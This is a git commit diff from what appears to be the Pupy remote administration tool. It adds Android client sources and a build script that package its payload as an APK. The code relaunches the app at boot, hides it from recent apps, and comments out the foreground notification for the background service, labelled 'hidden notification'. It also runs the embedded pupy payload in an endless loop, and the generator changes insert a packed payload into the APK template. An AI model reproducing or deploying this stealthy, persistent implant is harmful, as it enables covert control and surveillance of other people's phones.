android client sources release

This commit is contained in:
n1nj4sec 2016-05-08 01:06:13 +02:00
parent 9fd24fddf9
commit 4df0d065e2
12 changed files with 860 additions and 7 deletions

3
.gitignore vendored
View File

@ -27,7 +27,8 @@ client/sources/resources/library_compressed_string_x64.txt
client/sources/resources_msvcr90_dll.c
client/sources/resources/libraryx64.zip
client/sources/resources/libraryx86.zip
client/android_sources/bin
client/android_sources/.buildozer
# Byte-compiled / optimized / DLL files
__pycache__/
client/**/*.py[cod]

Binary file not shown.

After

Width:  |  Height:  |  Size: 68 B

View File

@ -0,0 +1,14 @@
/* This code is used to restart DAS service at boot */
package org.egambit.das;
import android.content.BroadcastReceiver;
import android.content.Intent;
import android.content.Context;
import org.renpy.android.PythonActivity;
public class MyBroadcastReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
Intent ix = new Intent(context,PythonActivity.class);
ix.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(ix);
}
}

View File

@ -0,0 +1,632 @@
package org.renpy.android;
import android.app.Activity;
import android.content.Intent;
import android.content.pm.ActivityInfo;
import android.os.Bundle;
import android.os.Environment;
import android.view.KeyEvent;
import android.view.Window;
import android.view.WindowManager;
import android.widget.Toast;
import android.util.Log;
import android.content.pm.PackageManager;
import android.content.pm.ApplicationInfo;
import java.io.InputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.FileWriter;
import java.io.File;
import java.io.IOException;
import java.util.Collections;
import java.util.Iterator;
// Billing
import org.renpy.android.Configuration;
import org.renpy.android.billing.BillingService.RequestPurchase;
import org.renpy.android.billing.BillingService.RestoreTransactions;
import org.renpy.android.billing.Consts.PurchaseState;
import org.renpy.android.billing.Consts.ResponseCode;
import org.renpy.android.billing.PurchaseObserver;
import org.renpy.android.billing.BillingService;
import org.renpy.android.billing.PurchaseDatabase;
import org.renpy.android.billing.Consts;
import org.renpy.android.billing.ResponseHandler;
import org.renpy.android.billing.Security;
import android.os.Handler;
import android.database.Cursor;
import java.util.List;
import java.util.ArrayList;
import android.content.SharedPreferences;
import android.content.Context;
public class PythonActivity extends Activity implements Runnable {
private static String TAG = "Python";
// The audio thread for streaming audio...
private static AudioThread mAudioThread = null;
// The SDLSurfaceView we contain.
public static SDLSurfaceView mView = null;
public static PythonActivity mActivity = null;
public static ApplicationInfo mInfo = null;
// Did we launch our thread?
private boolean mLaunchedThread = false;
private ResourceManager resourceManager;
// The path to the directory contaning our external storage.
private File externalStorage;
// The path to the directory containing the game.
private File mPath = null;
boolean _isPaused = false;
private static final String DB_INITIALIZED = "db_initialized";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Hardware.context = this;
Action.context = this;
this.mActivity = this;
getWindowManager().getDefaultDisplay().getMetrics(Hardware.metrics);
resourceManager = new ResourceManager(this);
externalStorage = new File(Environment.getExternalStorageDirectory(), getPackageName());
// Figure out the directory where the game is. If the game was
// given to us via an intent, then we use the scheme-specific
// part of that intent to determine the file to launch. We
// also use the android.txt file to determine the orientation.
//
// Otherwise, we use the public data, if we have it, or the
// private data if we do not.
if (getIntent() != null && getIntent().getAction() != null &&
getIntent().getAction().equals("org.renpy.LAUNCH")) {
mPath = new File(getIntent().getData().getSchemeSpecificPart());
Project p = Project.scanDirectory(mPath);
if (p != null) {
if (p.landscape) {
setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);
} else {
setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT);
}
}
// Let old apps know they started.
try {
FileWriter f = new FileWriter(new File(mPath, ".launch"));
f.write("started");
f.close();
} catch (IOException e) {
// pass
}
} else if (resourceManager.getString("public_version") != null) {
mPath = externalStorage;
} else {
mPath = getFilesDir();
}
requestWindowFeature(Window.FEATURE_NO_TITLE);
// go to fullscreen mode if requested
try {
this.mInfo = this.getPackageManager().getApplicationInfo(
this.getPackageName(), PackageManager.GET_META_DATA);
Log.v("python", "metadata fullscreen is" + this.mInfo.metaData.get("fullscreen"));
if ( (Integer)this.mInfo.metaData.get("fullscreen") == 1 ) {
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN);
}
} catch (PackageManager.NameNotFoundException e) {
}
if ( Configuration.use_billing ) {
mBillingHandler = new Handler();
}
// Start showing an SDLSurfaceView.
mView = new SDLSurfaceView(
this,
mPath.getAbsolutePath());
Hardware.view = mView;
//setContentView(mView);
// Force the background window color if asked
if ( this.mInfo.metaData.containsKey("android.background_color") ) {
getWindow().getDecorView().setBackgroundColor(
this.mInfo.metaData.getInt("android.background_color"));
}
}
/**
* Show an error using a toast. (Only makes sense from non-UI
* threads.)
*/
public void toastError(final String msg) {
final Activity thisActivity = this;
runOnUiThread(new Runnable () {
public void run() {
Toast.makeText(thisActivity, msg, Toast.LENGTH_LONG).show();
}
});
// Wait to show the error.
synchronized (this) {
try {
this.wait(1000);
} catch (InterruptedException e) {
}
}
}
public void recursiveDelete(File f) {
if (f.isDirectory()) {
for (File r : f.listFiles()) {
recursiveDelete(r);
}
}
f.delete();
}
/**
* This determines if unpacking one the zip files included in
* the .apk is necessary. If it is, the zip file is unpacked.
*/
public void unpackData(final String resource, File target) {
// The version of data in memory and on disk.
String data_version = resourceManager.getString(resource + "_version");
String disk_version = null;
// If no version, no unpacking is necessary.
if (data_version == null) {
return;
}
// Check the current disk version, if any.
String filesDir = target.getAbsolutePath();
String disk_version_fn = filesDir + "/" + resource + ".version";
try {
byte buf[] = new byte[64];
InputStream is = new FileInputStream(disk_version_fn);
int len = is.read(buf);
disk_version = new String(buf, 0, len);
is.close();
} catch (Exception e) {
disk_version = "";
}
// If the disk data is out of date, extract it and write the
// version file.
if (! data_version.equals(disk_version)) {
Log.v(TAG, "Extracting " + resource + " assets.");
recursiveDelete(target);
target.mkdirs();
AssetExtract ae = new AssetExtract(this);
if (!ae.extractTar(resource + ".mp3", target.getAbsolutePath())) {
toastError("Could not extract " + resource + " data.");
}
try {
// Write .nomedia.
new File(target, ".nomedia").createNewFile();
// Write version file.
FileOutputStream os = new FileOutputStream(disk_version_fn);
os.write(data_version.getBytes());
os.close();
} catch (Exception e) {
Log.w("python", e);
}
}
}
public void run() {
unpackData("private", getFilesDir());
unpackData("public", externalStorage);
System.loadLibrary("sdl");
System.loadLibrary("sdl_image");
System.loadLibrary("sdl_ttf");
System.loadLibrary("sdl_mixer");
System.loadLibrary("python2.7");
System.loadLibrary("application");
System.loadLibrary("sdl_main");
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_io.so");
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/unicodedata.so");
try {
System.loadLibrary("sqlite3");
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_sqlite3.so");
} catch(UnsatisfiedLinkError e) {
}
try {
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_imaging.so");
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_imagingft.so");
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_imagingmath.so");
} catch(UnsatisfiedLinkError e) {
}
if ( mAudioThread == null ) {
Log.i("python", "Starting audio thread");
mAudioThread = new AudioThread(this);
}
runOnUiThread(new Runnable () {
public void run() {
mView.start();
}
});
}
@Override
protected void onPause() {
_isPaused = true;
super.onPause();
if (mView != null) {
mView.onPause();
}
}
@Override
protected void onResume() {
super.onResume();
_isPaused = false;
if (!mLaunchedThread) {
mLaunchedThread = true;
new Thread(this).start();
}
if (mView != null) {
mView.onResume();
}
}
public boolean isPaused() {
return _isPaused;
}
@Override
public boolean onKeyDown(int keyCode, final KeyEvent event) {
//Log.i("python", "key2 " + mView + " " + mView.mStarted);
if (mView != null && mView.mStarted && SDLSurfaceView.nativeKey(keyCode, 1, event.getUnicodeChar())) {
return true;
} else {
return super.onKeyDown(keyCode, event);
}
}
@Override
public boolean onKeyUp(int keyCode, final KeyEvent event) {
//Log.i("python", "key up " + mView + " " + mView.mStarted);
if (mView != null && mView.mStarted && SDLSurfaceView.nativeKey(keyCode, 0, event.getUnicodeChar())) {
return true;
} else {
return super.onKeyUp(keyCode, event);
}
}
protected void onDestroy() {
if (mPurchaseDatabase != null) {
mPurchaseDatabase.close();
}
if (mBillingService != null) {
mBillingService.unbind();
}
if (mView != null) {
mView.onDestroy();
}
//Log.i(TAG, "on destroy (exit1)");
System.exit(0);
}
public static void start_service(String serviceTitle, String serviceDescription,
String pythonServiceArgument) {
Intent serviceIntent = new Intent(PythonActivity.mActivity, PythonService.class);
String argument = PythonActivity.mActivity.getFilesDir().getAbsolutePath();
String filesDirectory = PythonActivity.mActivity.mPath.getAbsolutePath();
serviceIntent.putExtra("androidPrivate", argument);
serviceIntent.putExtra("androidArgument", filesDirectory);
serviceIntent.putExtra("pythonHome", argument);
serviceIntent.putExtra("pythonPath", argument + ":" + filesDirectory + "/lib");
serviceIntent.putExtra("serviceTitle", serviceTitle);
serviceIntent.putExtra("serviceDescription", serviceDescription);
serviceIntent.putExtra("pythonServiceArgument", pythonServiceArgument);
PythonActivity.mActivity.startService(serviceIntent);
}
public static void stop_service() {
Intent serviceIntent = new Intent(PythonActivity.mActivity, PythonService.class);
PythonActivity.mActivity.stopService(serviceIntent);
}
//----------------------------------------------------------------------------
// Listener interface for onNewIntent
//
public interface NewIntentListener {
void onNewIntent(Intent intent);
}
private List<NewIntentListener> newIntentListeners = null;
public void registerNewIntentListener(NewIntentListener listener) {
if ( this.newIntentListeners == null )
this.newIntentListeners = Collections.synchronizedList(new ArrayList<NewIntentListener>());
this.newIntentListeners.add(listener);
}
public void unregisterNewIntentListener(NewIntentListener listener) {
if ( this.newIntentListeners == null )
return;
this.newIntentListeners.remove(listener);
}
@Override
protected void onNewIntent(Intent intent) {
if ( this.newIntentListeners == null )
return;
if ( this.mView != null )
this.mView.onResume();
synchronized ( this.newIntentListeners ) {
Iterator<NewIntentListener> iterator = this.newIntentListeners.iterator();
while ( iterator.hasNext() ) {
(iterator.next()).onNewIntent(intent);
}
}
}
//----------------------------------------------------------------------------
// Listener interface for onActivityResult
//
public interface ActivityResultListener {
void onActivityResult(int requestCode, int resultCode, Intent data);
}
private List<ActivityResultListener> activityResultListeners = null;
public void registerActivityResultListener(ActivityResultListener listener) {
if ( this.activityResultListeners == null )
this.activityResultListeners = Collections.synchronizedList(new ArrayList<ActivityResultListener>());
this.activityResultListeners.add(listener);
}
public void unregisterActivityResultListener(ActivityResultListener listener) {
if ( this.activityResultListeners == null )
return;
this.activityResultListeners.remove(listener);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent intent) {
if ( this.activityResultListeners == null )
return;
if ( this.mView != null )
this.mView.onResume();
synchronized ( this.activityResultListeners ) {
Iterator<ActivityResultListener> iterator = this.activityResultListeners.iterator();
while ( iterator.hasNext() )
(iterator.next()).onActivityResult(requestCode, resultCode, intent);
}
}
//----------------------------------------------------------------------------
// Billing
//
class PythonPurchaseObserver extends PurchaseObserver {
public PythonPurchaseObserver(Handler handler) {
super(PythonActivity.this, handler);
}
@Override
public void onBillingSupported(boolean supported, String type) {
if (Consts.DEBUG) {
Log.i(TAG, "supported: " + supported);
}
String sup = "1";
if ( !supported )
sup = "0";
if (type == null)
type = Consts.ITEM_TYPE_INAPP;
// add notification for python message queue
mActivity.mBillingQueue.add("billingSupported|" + type + "|" + sup);
// for managed items, restore the database
if ( type == Consts.ITEM_TYPE_INAPP && supported ) {
restoreDatabase();
}
}
@Override
public void onPurchaseStateChange(PurchaseState purchaseState, String itemId,
int quantity, long purchaseTime, String developerPayload) {
mActivity.mBillingQueue.add(
"purchaseStateChange|" + itemId + "|" + purchaseState.toString());
}
@Override
public void onRequestPurchaseResponse(RequestPurchase request,
ResponseCode responseCode) {
mActivity.mBillingQueue.add(
"requestPurchaseResponse|" + request.mProductId + "|" + responseCode.toString());
}
@Override
public void onRestoreTransactionsResponse(RestoreTransactions request,
ResponseCode responseCode) {
if (responseCode == ResponseCode.RESULT_OK) {
mActivity.mBillingQueue.add("restoreTransaction|ok");
if (Consts.DEBUG) {
Log.d(TAG, "completed RestoreTransactions request");
}
// Update the shared preferences so that we don't perform
// a RestoreTransactions again.
SharedPreferences prefs = getPreferences(Context.MODE_PRIVATE);
SharedPreferences.Editor edit = prefs.edit();
edit.putBoolean(DB_INITIALIZED, true);
edit.commit();
} else {
if (Consts.DEBUG) {
Log.d(TAG, "RestoreTransactions error: " + responseCode);
}
mActivity.mBillingQueue.add(
"restoreTransaction|error|" + responseCode.toString());
}
}
}
/**
* If the database has not been initialized, we send a
* RESTORE_TRANSACTIONS request to Android Market to get the list of purchased items
* for this user. This happens if the application has just been installed
* or the user wiped data. We do not want to do this on every startup, rather, we want to do
* only when the database needs to be initialized.
*/
private void restoreDatabase() {
SharedPreferences prefs = getPreferences(MODE_PRIVATE);
boolean initialized = prefs.getBoolean(DB_INITIALIZED, false);
if (!initialized) {
mBillingService.restoreTransactions();
}
}
/** An array of product list entries for the products that can be purchased. */
private enum Managed { MANAGED, UNMANAGED, SUBSCRIPTION }
private PythonPurchaseObserver mPythonPurchaseObserver;
private Handler mBillingHandler;
private BillingService mBillingService;
private PurchaseDatabase mPurchaseDatabase;
private String mPayloadContents;
public List<String> mBillingQueue;
public void billingServiceStart_() {
mBillingQueue = new ArrayList<String>();
// Start the billing part
mPythonPurchaseObserver = new PythonPurchaseObserver(mBillingHandler);
mBillingService = new BillingService();
mBillingService.setContext(this);
mPurchaseDatabase = new PurchaseDatabase(this);
ResponseHandler.register(mPythonPurchaseObserver);
if (!mBillingService.checkBillingSupported()) {
//showDialog(DIALOG_CANNOT_CONNECT_ID);
Log.w(TAG, "NO BILLING SUPPORTED");
}
if (!mBillingService.checkBillingSupported(Consts.ITEM_TYPE_SUBSCRIPTION)) {
//showDialog(DIALOG_SUBSCRIPTIONS_NOT_SUPPORTED_ID);
Log.w(TAG, "NO SUBSCRIPTION SUPPORTED");
}
}
public void billingServiceStop_() {
}
public void billingBuy_(String mSku) {
Managed mManagedType = Managed.MANAGED;
if (Consts.DEBUG) {
Log.d(TAG, "buying sku: " + mSku);
}
if (mManagedType == Managed.MANAGED) {
if (!mBillingService.requestPurchase(mSku, Consts.ITEM_TYPE_INAPP, mPayloadContents)) {
Log.w(TAG, "ERROR IN BILLING REQUEST PURCHASE");
}
} else if (mManagedType == Managed.SUBSCRIPTION) {
if (!mBillingService.requestPurchase(mSku, Consts.ITEM_TYPE_INAPP, mPayloadContents)) {
Log.w(TAG, "ERROR IN BILLING REQUEST PURCHASE");
}
}
}
public String billingGetPurchasedItems_() {
String ownedItems = "";
Cursor cursor = mPurchaseDatabase.queryAllPurchasedItems();
if (cursor == null)
return "";
try {
int productIdCol = cursor.getColumnIndexOrThrow(
PurchaseDatabase.PURCHASED_PRODUCT_ID_COL);
int qtCol = cursor.getColumnIndexOrThrow(
PurchaseDatabase.PURCHASED_QUANTITY_COL);
while (cursor.moveToNext()) {
String productId = cursor.getString(productIdCol);
String qt = cursor.getString(qtCol);
productId = Security.unobfuscate(this, Configuration.billing_salt, productId);
if ( productId == null )
continue;
if ( ownedItems != "" )
ownedItems += "\n";
ownedItems += productId + "," + qt;
}
} finally {
cursor.close();
}
return ownedItems;
}
static void billingServiceStart() {
mActivity.billingServiceStart_();
}
static void billingServiceStop() {
mActivity.billingServiceStop_();
}
static void billingBuy(String sku) {
mActivity.billingBuy_(sku);
}
static String billingGetPurchasedItems() {
return mActivity.billingGetPurchasedItems_();
}
static String billingGetPendingMessage() {
if (mActivity.mBillingQueue.isEmpty())
return null;
return mActivity.mBillingQueue.remove(0);
}
}

View File

@ -0,0 +1,125 @@
package org.renpy.android;
import android.app.Service;
import android.os.IBinder;
import android.os.Bundle;
import android.content.Intent;
import android.content.Context;
import android.util.Log;
import android.app.Notification;
import android.app.PendingIntent;
import android.os.Process;
public class PythonService extends Service implements Runnable {
// Thread for Python code
private Thread pythonThread = null;
// Python environment variables
private String androidPrivate;
private String androidArgument;
private String pythonHome;
private String pythonPath;
// Argument to pass to Python code,
private String pythonServiceArgument;
public static Service mService = null;
@Override
public IBinder onBind(Intent arg0) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
if (pythonThread != null) {
Log.v("python service", "service exists, do not start again");
return START_REDELIVER_INTENT;
}
Bundle extras = intent.getExtras();
androidPrivate = extras.getString("androidPrivate");
// service code is located in service subdir
androidArgument = extras.getString("androidArgument") + "/service";
pythonHome = extras.getString("pythonHome");
pythonPath = extras.getString("pythonPath");
pythonServiceArgument = extras.getString("pythonServiceArgument");
String serviceTitle = extras.getString("serviceTitle");
String serviceDescription = extras.getString("serviceDescription");
pythonThread = new Thread(this);
pythonThread.start();
Context context = getApplicationContext();
/*Notification notification = new Notification(context.getApplicationInfo().icon,
serviceTitle,
System.currentTimeMillis());*/
//Intent contextIntent = new Intent(context, PythonActivity.class);
//PendingIntent pIntent = PendingIntent.getActivity(context, 0, contextIntent,
// PendingIntent.FLAG_UPDATE_CURRENT);
//notification.setLatestEventInfo(context, serviceTitle, serviceDescription, pIntent);
//startForeground(1, notification);
return START_REDELIVER_INTENT;
}
@Override
public void onDestroy() {
super.onDestroy();
pythonThread = null;
Process.killProcess(Process.myPid());
}
@Override
public void run(){
// libraries loading, the same way PythonActivity.run() do
System.loadLibrary("sdl");
System.loadLibrary("sdl_image");
System.loadLibrary("sdl_ttf");
System.loadLibrary("sdl_mixer");
System.loadLibrary("python2.7");
System.loadLibrary("application");
System.loadLibrary("sdl_main");
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_io.so");
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/unicodedata.so");
try {
System.loadLibrary("ctypes");
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_ctypes.so");
} catch(UnsatisfiedLinkError e) {
}
try {
System.loadLibrary("sqlite3");
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_sqlite3.so");
} catch(UnsatisfiedLinkError e) {
}
try {
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_imaging.so");
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_imagingft.so");
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_imagingmath.so");
} catch(UnsatisfiedLinkError e) {
}
this.mService = this;
nativeInitJavaEnv();
nativeStart(androidPrivate, androidArgument, pythonHome, pythonPath,
pythonServiceArgument);
}
// Native part
public static native void nativeStart(String androidPrivate, String androidArgument,
String pythonHome, String pythonPath,
String pythonServiceArgument);
public static native void nativeInitJavaEnv();
}

View File

@ -0,0 +1,32 @@
#!/bin/bash
# -*- coding: UTF8 -*-
if [ "$1" = "restart" ]; then
adb shell am start -S -n org.pupy.pupy/org.renpy.android.PythonActivity -a org.renpy.android.PythonActivity
exit 0
fi
buildozer 2>&1 > /dev/null # for initialisation
#startup bootloader
ANDROID_MANIFEST="./.buildozer/android/platform/python-for-android/dist/pupy/templates/AndroidManifest.tmpl.xml"
if [ -z "`cat $ANDROID_MANIFEST | grep BOOT_COMPLETED`" ]; then
echo "Patching AndroidManifest template for BOOT_COMPLETED"
sed -i $ANDROID_MANIFEST -e 's/{% for m in args.meta_data %}/<receiver android:name=".MyBroadcastReceiver" android:enabled="true" ><intent-filter><action android:name="android.intent.action.BOOT_COMPLETED" \/><\/intent-filter><\/receiver>\n{% for m in args.meta_data %}/g'
echo "Patching AndroidManifest template for excludeFromRecents"
sed -i $ANDROID_MANIFEST -e 's/android:launchMode="singleTask"/android:launchMode="singleTask"\nandroid:excludeFromRecents="true"\n/g'
fi
cp MyBroadcastReceiver.java .buildozer/android/platform/python-for-android/dist/pupy/src/
#hidden notification
cp PythonService.java .buildozer/android/platform/python-for-android/dist/pupy/src/org/renpy/android/PythonService.java
cp PythonActivity.java .buildozer/android/platform/python-for-android/src/src/org/renpy/android/PythonActivity.java
if [ "$1" = "debug" ]; then
rm bin/*.apk
buildozer android debug && adb install -r bin/*.apk && adb shell am start -n org.pupy.pupy/org.renpy.android.PythonActivity -a org.renpy.android.PythonActivity
exit 0
fi
rm bin/*.apk
buildozer android release
echo "copying the generated apk to ../../pupy/payload_templates/pupy.apk"
cp bin/Pupy-0.1-release-unsigned.apk ../../pupy/payload_templates/pupy.apk

View File

@ -0,0 +1,29 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
import os
os.environ['KIVY_NO_FILELOG']='yes'
from kivy.app import App
from kivy.lang import Builder
from kivy.utils import platform
import time
import os
kv = ""
#Button:
# text: 'push me!'
class ServiceApp(App):
def build(self):
if platform == 'android':
from android import AndroidService
service = AndroidService('pupy', 'running')
service.start('service started')
self.service = service
App.get_running_app().stop()
return Builder.load_string(kv)
if __name__ == '__main__':
ServiceApp().run()

View File

@ -0,0 +1,16 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
import os
os.environ['KIVY_NO_FILELOG']='yes'
from time import sleep
import pp
if __name__ == '__main__':
while True:
print "starting pupy ..."
pp.main()
print "pupy exit"

View File

@ -0,0 +1,3 @@
# This file will be overriden when packaging with pupygen.py and serves only for compiling the apk template

@ -1 +1 @@
Subproject commit ab771592c3179b8bd0462678a0329dc90d304d30
Subproject commit 8a0b3f54aa430623006b3aaec0dec1fe050dbffb

View File

@ -28,7 +28,6 @@ import traceback
import os
import subprocess
import threading
import multiprocessing
import StringIO
import json
import urllib2

View File

@ -109,7 +109,7 @@ def updateTar(arcpath, arcname, file_path):
def get_edit_apk(path, new_path, conf):
tempdir=tempfile.mkdtemp(prefix="tmp_pupy_")
try:
new_conf=get_raw_conf(conf)
packed_payload=pack_py_payload(get_raw_conf(conf))
shutil.copy(path, new_path)
#extracting the python-for-android install tar from the apk
@ -117,12 +117,14 @@ def get_edit_apk(path, new_path, conf):
zf.extract("assets/private.mp3", tempdir)
zf.close()
with open(os.path.join(tempdir,"pp.conf"),'w') as w:
w.write(new_conf)
with open(os.path.join(tempdir,"pp.py"),'w') as w:
w.write(packed_payload)
import py_compile
py_compile.compile(os.path.join(tempdir, "pp.py"), os.path.join(tempdir, "pp.pyo"))
print "[+] packaging the apk ... (can take 10-20 seconds)"
#updating the tar with the new config
updateTar(os.path.join(tempdir,"assets/private.mp3"), "service/pp.conf", os.path.join(tempdir,"pp.conf"))
updateTar(os.path.join(tempdir,"assets/private.mp3"), "service/pp.pyo", os.path.join(tempdir,"pp.pyo"))
#repacking the tar in the apk
with open(os.path.join(tempdir,"assets/private.mp3"), 'r') as t:
updateZip(new_path, "assets/private.mp3", t.read())